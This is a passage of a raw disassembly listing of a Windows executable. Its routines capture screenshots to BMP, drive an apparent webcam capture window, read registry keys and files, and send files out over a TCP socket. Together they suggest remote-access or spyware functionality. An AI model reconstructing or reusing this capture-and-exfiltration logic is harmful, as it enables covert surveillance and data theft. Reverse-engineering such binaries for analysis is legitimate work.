		push	edi
		call	dword_4CB64C
		mov	ebx, 100h
		jmp	short loc_415421
; ---------------------------------------------------------------------------


loc_41541F:				; CODE XREF: sub_4153BD+50j
		xor	ebx, ebx


loc_415421:				; CODE XREF: sub_4153BD+60j
		push	edi
		call	dword_4CB690
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D6
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CB688
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E1
		push	eax
		push	[ebp+var_4]
		call	dword_4CB514
		cmp	eax, esi
		jz	loc_4155E1
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E1
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CB68C
		test	eax, eax
		jz	loc_4155E1
		cmp	ebx, esi
		jz	short loc_4154DE
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CB568
		mov	ebx, eax


loc_4154DE:				; CODE XREF: sub_4153BD+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		nop
		call	near ptr 273093Bh
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C1
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	near ptr 2720000h
		nop
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2720000h
		cmp	ebx, esi
		jz	short loc_4155A3
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2720000h
		nop


loc_4155A3:				; CODE XREF: sub_4153BD+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		nop
		call	near ptr 2720000h
		push	[ebp+arg_0]
		nop
		call	near ptr 26809B4h
		push	1
		pop	esi


loc_4155C1:				; CODE XREF: sub_4153BD+1A2j
		push	[ebp+var_1C]
		call	dword_4CB5A0
		push	[ebp+var_4]
		call	dword_4CB500
		mov	edi, [ebp+var_20]


loc_4155D6:				; CODE XREF: sub_4153BD+70j
		push	edi
		call	dword_4CB500
		mov	eax, esi
		jmp	short loc_4155F3
; ---------------------------------------------------------------------------


loc_4155E1:				; CODE XREF: sub_4153BD+C7j
					; sub_4153BD+D9j ...
		push	edi
		call	dword_4CB500
		push	[ebp+var_4]
		call	dword_4CB500


loc_4155F1:				; CODE XREF: sub_4153BD+23j
		xor	eax, eax


loc_4155F3:				; CODE XREF: sub_4153BD+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F8	proc near		; CODE XREF: sub_401ACD+7477p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3270
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB594
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415636
		mov	eax, esi
		jmp	loc_4157EC
; ---------------------------------------------------------------------------


loc_415636:				; CODE XREF: sub_4155F8+35j
		push	edi
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_415653
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB6A0
		jmp	short loc_415655
; ---------------------------------------------------------------------------


loc_415653:				; CODE XREF: sub_4155F8+47j
		xor	eax, eax


loc_415655:				; CODE XREF: sub_4155F8+59j
		cmp	eax, ebx
		jnz	short loc_415660


loc_415659:				; CODE XREF: sub_4155F8+88j
					; sub_4155F8+BCj
		mov	ebx, esi
		jmp	loc_4157E1
; ---------------------------------------------------------------------------


loc_415660:				; CODE XREF: sub_4155F8+5Fj
		push	edi
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_41567D
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB6A0


loc_41567D:				; CODE XREF: sub_4155F8+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415659
		push	edi
		call	dword_4CB5E4
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A3
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6A0
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A6
; ---------------------------------------------------------------------------


loc_4156A3:				; CODE XREF: sub_4155F8+98j
		mov	[ebp+arg_4], ebx


loc_4156A6:				; CODE XREF: sub_4155F8+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415659
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CD
		push	1
		pop	ebx
		jmp	loc_4157E1
; ---------------------------------------------------------------------------


loc_4156CD:				; CODE XREF: sub_4155F8+CBj
		push	[ebp+var_4]
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_4156EA
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6A0


loc_4156EA:				; CODE XREF: sub_4155F8+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415705
		mov	ecx, 280h


loc_415705:				; CODE XREF: sub_4155F8+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415711
		mov	eax, 1E0h


loc_415711:				; CODE XREF: sub_4155F8+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5E4
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575B
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6A0


loc_41575B:				; CODE XREF: sub_4155F8+153j
		push	[ebp+var_4]
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_415778
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CB6A0


loc_415778:				; CODE XREF: sub_4155F8+16Ej
		push	[ebp+var_4]
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_415797
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CB6A0


loc_415797:				; CODE XREF: sub_4155F8+18Bj
		push	[ebp+var_4]
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_4157B4
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6A0


loc_4157B4:				; CODE XREF: sub_4155F8+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_4157E1
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CB6A0


loc_4157E1:				; CODE XREF: sub_4155F8+63j
					; sub_4155F8+D0j ...
		push	[ebp+var_4]
		call	dword_4CB6F4
		mov	eax, ebx


loc_4157EC:				; CODE XREF: sub_4155F8+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F1	proc near		; CODE XREF: sub_401ACD+752Fp

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3270
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB594
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582F
		mov	eax, esi
		jmp	loc_415A2B
; ---------------------------------------------------------------------------


loc_41582F:				; CODE XREF: sub_4157F1+35j
		push	edi
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_41584C
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB6A0
		jmp	short loc_41584E
; ---------------------------------------------------------------------------


loc_41584C:				; CODE XREF: sub_4157F1+47j
		xor	eax, eax


loc_41584E:				; CODE XREF: sub_4157F1+59j
		cmp	eax, ebx
		jnz	short loc_415859


loc_415852:				; CODE XREF: sub_4157F1+8Bj
					; sub_4157F1+BCj
		mov	ebx, esi
		jmp	loc_415A22
; ---------------------------------------------------------------------------


loc_415859:				; CODE XREF: sub_4157F1+5Fj
		push	edi
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_415879
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB6A0


loc_415879:				; CODE XREF: sub_4157F1+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415852
		push	edi
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_41589C
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CB6A0
		mov	[ebp+arg_4], eax
		jmp	short loc_41589F
; ---------------------------------------------------------------------------


loc_41589C:				; CODE XREF: sub_4157F1+96j
		mov	[ebp+arg_4], ebx


loc_41589F:				; CODE XREF: sub_4157F1+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415852
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C6
		push	1
		pop	ebx
		jmp	loc_415A22
; ---------------------------------------------------------------------------


loc_4158C6:				; CODE XREF: sub_4157F1+CBj
		push	edi
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_4158E3
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CB6A0


loc_4158E3:				; CODE XREF: sub_4157F1+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FE
		mov	ecx, 0A0h


loc_4158FE:				; CODE XREF: sub_4157F1+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415908
		push	78h
		pop	eax


loc_415908:				; CODE XREF: sub_4157F1+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_41594D
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB6A0


loc_41594D:				; CODE XREF: sub_4157F1+14Aj
		push	edi
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_41596A
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CB6A0


loc_41596A:				; CODE XREF: sub_4157F1+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_4159A8
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CB6A0


loc_4159A8:				; CODE XREF: sub_4157F1+1A3j
		push	edi
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_4159C3
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CB6A0


loc_4159C3:				; CODE XREF: sub_4157F1+1C0j
		push	edi
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_4159DC
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CB6A0


loc_4159DC:				; CODE XREF: sub_4157F1+1DBj
		push	edi
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_4159F9
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB6A0


loc_4159F9:				; CODE XREF: sub_4157F1+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_415A22
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CB6A0


loc_415A22:				; CODE XREF: sub_4157F1+63j
					; sub_4157F1+D0j ...
		push	edi
		call	dword_4CB6F4
		mov	eax, ebx


loc_415A2B:				; CODE XREF: sub_4157F1+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A30	proc near		; CODE XREF: sub_401ACD+25F2p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4368DC, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD1
		push	esi
		push	edi
		mov	eax, offset off_4368DC
		mov	esi, offset dword_4368E8
		mov	edi, offset dword_437AE0


loc_415A60:				; CODE XREF: sub_415A30+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CB6B4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CB544
		test	eax, eax
		jnz	loc_415BB7
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7B
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_429AB8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB7
		push	eax


loc_415AD9:				; CODE XREF: sub_415A30+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B70
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B06
		push	[ebp+var_8]
		jmp	short loc_415AD9
; ---------------------------------------------------------------------------


loc_415B06:				; CODE XREF: sub_415A30+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B34
		lea	eax, [ebp+var_70]
		push	offset asc_437ADC ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_437ADC ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B37
; ---------------------------------------------------------------------------


loc_415B34:				; CODE XREF: sub_415A30+E4j
		lea	eax, [ebp+var_70]


loc_415B37:				; CODE XREF: sub_415A30+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AD
		add	esp, 18h


loc_415B70:				; CODE XREF: sub_415A30+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB7
; ---------------------------------------------------------------------------


loc_415B7B:				; CODE XREF: sub_415A30+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_415BB7:				; CODE XREF: sub_415A30+60j
					; sub_415A30+A2j ...
		push	[ebp+var_4]
		call	dword_4CB620
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A60
		pop	edi
		pop	esi


loc_415BD1:				; CODE XREF: sub_415A30+19j
		pop	ebx
		leave
		retn
sub_415A30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD4	proc near		; CODE XREF: ___:00416279p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6C4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C50
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB644
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB684
		cmp	eax, esi
		jnz	short loc_415C35
		push	[ebp+arg_0]
		call	dword_4CB6C8
		test	eax, eax
		jz	short loc_415C50
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415C35:				; CODE XREF: sub_415BD4+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5EC
		cmp	eax, esi
		jnz	short loc_415C54
		push	edi
		call	dword_4CB6DC


loc_415C50:				; CODE XREF: sub_415BD4+1Bj
					; sub_415BD4+58j
		mov	eax, esi
		jmp	short loc_415C56
; ---------------------------------------------------------------------------


loc_415C54:				; CODE XREF: sub_415BD4+73j
		mov	eax, edi


loc_415C56:				; CODE XREF: sub_415BD4+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD4	endp

; ---------------------------------------------------------------------------
word_415C5A	dw 8B55h		; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8ECh, 0B9E80000h, 8B00005Eh, 56530845h,	8B6D6A57h
		dd 0BD8D59F0h, 0FFFFFE4Ch, 16AA5F3h, 0EC75FF5Eh, 1B0B089h
		dd 858D0000h, 0FFFFFE54h, 0FF42E850h, 0D88BFFFFh, 0FFFB8359h
		dd 8D527559h, 0FFEE4C85h, 7B5C68FFh, 0E8500043h, 5BDAh
		dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch,	50F475FFh
		dd 0FF6C858Dh, 5350FFFFh, 0FF3DA6E8h, 14C483FFh, 0EE4C858Dh
		dd 0E850FFFFh, 0FFFFF4D1h, 0E8F075FFh, 0FFFF572Fh, 90565959h
		dd 2EAE3CE8h, 0D7F86802h, 0E8530043h, 3F6Dh, 0FFF88359h
		dd 8D597559h, 0FFEE4C85h, 7B2C68FFh, 0E8500043h, 5B76h
		dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch,	50F475FFh
		dd 0FF6C858Dh, 5350FFFFh, 0FF3D42E8h, 14C483FFh, 0EE4C858Dh
		dd 0E850FFFFh, 0FFFFF46Dh, 15FF5359h, 4CB6DCh, 0E8F075FFh
		dd 0FFFF56C3h, 0E8905659h, 22EADD1h, 0E890646Ah, 227B203h
		dd 0BEFF33h, 56000010h,	0EE4C858Dh, 5057FFFFh, 581BE8h
		dd 0CC48300h, 0EE4C858Dh, 5657FFFFh, 15FF5350h,	4CB65Ch
		dd 387EC085h, 0EE4C858Dh, 9468FFFFh, 500042A0h,	6123E8h
		dd 4C858D00h, 50FFFFEEh, 3CA8E8h, 0CC48300h, 1474C085h
		dd 0ACE8646Ah, 900227B1h, 80E80A6Ah, 85FFFF55h,	0A37559C0h
		dd 0EE4C858Dh, 0F868FFFFh, 5000437Ah, 5AB1E8h, 0F87D3900h
		dd 1B755959h, 4C858D57h, 0FFFFFFEEh, 8D50F475h,	0FFFF6C85h
		dd 0E85350FFh, 0FFFF3C7Fh, 8D14C483h, 0FFEE4C85h, 0AAE850FFh
		dd 59FFFFF3h, 0DC15FF53h, 0FF004CB6h, 0E8F075h,	59FFFF56h
		dd 0EE89057h
		db 0ADh, 2Eh, 2
; ---------------------------------------------------------------------------


loc_415E1B:				; DATA XREF: sub_401ACD+7832o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CB6C4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E69
		push	offset unk_437C5C
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415E69:				; CODE XREF: ___:00415E5Dj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CB644
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CB670
		test	eax, eax
		jz	short loc_415EA7
		push	offset unk_437C38
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415EA7:				; CODE XREF: ___:00415E9Bj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CB5E8
		push	dword ptr [ebp-2Eh]
		call	dword_4CB574
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx


loc_415ED9:				; CODE XREF: ___:00415F0Aj
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEC
		push	5Fh
		pop	eax
		jmp	short loc_415EEF
; ---------------------------------------------------------------------------


loc_415EEC:				; CODE XREF: ___:00415EE5j
		movsx	eax, al


loc_415EEF:				; CODE XREF: ___:00415EEAj
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED9
		push	ebx
		push	edi
		call	dword_4CB66C
		test	eax, eax
		jz	short loc_415F22
		push	offset unk_437B5C
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415F22:				; CODE XREF: ___:00415F16j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	near ptr 273093Bh
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4C
		push	offset unk_437C18
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415F4C:				; CODE XREF: ___:00415F40j
		push	esi
		push	eax
		nop
		call	near ptr 2780000h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC10
		pop	ecx
		push	eax
		call	dword_4CB684
		push	eax
		call	dword_4CB640
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437C00
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CB62C
		test	eax, eax
		jg	short loc_415FFC
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437BE8
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		jmp	loc_416120
; ---------------------------------------------------------------------------


loc_415FFC:				; CODE XREF: ___:00415FDAj
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB6D8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416035
		push	offset unk_437BC4


loc_416022:				; CODE XREF: ___:00415E64j
					; ___:00415EA2j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416123
; ---------------------------------------------------------------------------


loc_416035:				; CODE XREF: ___:0041601Bj
		push	edi
		call	dword_4CB6DC
		cmp	[ebp+8], esi
		jz	loc_4160E7
		mov	edi, 400h


loc_41604A:				; CODE XREF: ___:004160DEj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416057
		mov	[ebp-4], eax


loc_416057:				; CODE XREF: ___:00416052j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 27B0000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2730000h
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CB694
		mov	[ebp-4], eax
